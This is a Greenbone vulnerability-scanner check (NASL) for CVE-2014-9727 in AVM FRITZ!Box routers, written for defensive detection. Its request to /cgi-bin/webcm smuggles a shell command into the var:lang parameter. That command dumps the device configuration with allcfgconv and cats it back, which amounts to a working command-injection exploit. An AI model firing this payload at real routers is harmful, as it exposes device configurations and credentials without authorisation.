Multiple AVM FRITZ!Box Multiple Vulnerabilities - Active Check

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/o:avm:fritz%21_os";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103912");
  script_version("2024-01-09T05:06:46+0000");
  script_cve_id("CVE-2014-9727");
  script_name("Multiple AVM FRITZ!Box Multiple Vulnerabilities - Active Check");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"last_modification", value:"2024-01-09 05:06:46 +0000 (Tue, 09 Jan 2024)");
  script_tag(name:"creation_date", value:"2014-03-10 11:07:20 +0100 (Mon, 10 Mar 2014)");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_dependencies("gb_avm_fritz_box_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("avm_fritz_box/http/detected");

  script_xref(name:"URL", value:"http://www.avm.de/de/Sicherheit/liste_update.html");
  script_xref(name:"URL", value:"http://www.fritzbox.eu/en/news/2014/security_updates_available.php");
  script_xref(name:"URL", value:"http://www.heise.de/newsticker/meldung/Jetzt-Fritzbox-aktualisieren-Hack-gegen-AVM-Router-auch-ohne-Fernzugang-2115745.html");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/74927");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/65520");

  script_tag(name:"summary", value:"AVM FRITZ!Box is prone to multiple vulnerabilities");

  script_tag(name:"vuldetect", value:"Tries to read the configuration of the device.");

  script_tag(name:"affected", value:"See the list provided by the vendor at the linked references.");

  script_tag(name:"solution", value:"The vendor has released updates. Please see the references
  section for more information.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_vul");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("misc_func.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! dir  = get_app_location( cpe:CPE, port:port ) )
  exit( 0 );

if( dir == "/" )
  dir = "";

vtstrings = get_vt_strings();
file = vtstrings["lowercase_rand"];
url = dir + "/cgi-bin/webcm?var:lang=%26allcfgconv%20-C%20ar7%20-c%20-o%20/var/tmp/" + file + "%26%26%20cat%20/var/tmp/" + file;

req = http_get( item:url, port:port );
buf = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );

if( "servercfg" >< buf && "websrv" >< buf && "webui" >< buf ) {
  lines = split( buf );
  for( i = 0; i < max_index( lines ); i++ ) {
    if( "webui {" >< lines[i] ) {
      while( "}" >!< lines[i] ) {
        report += lines[i];
        i++;
      }
    }
  }

  report = 'It was possible to read the configuration of the remote device. Here is a small sample:\n\n' + report;
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );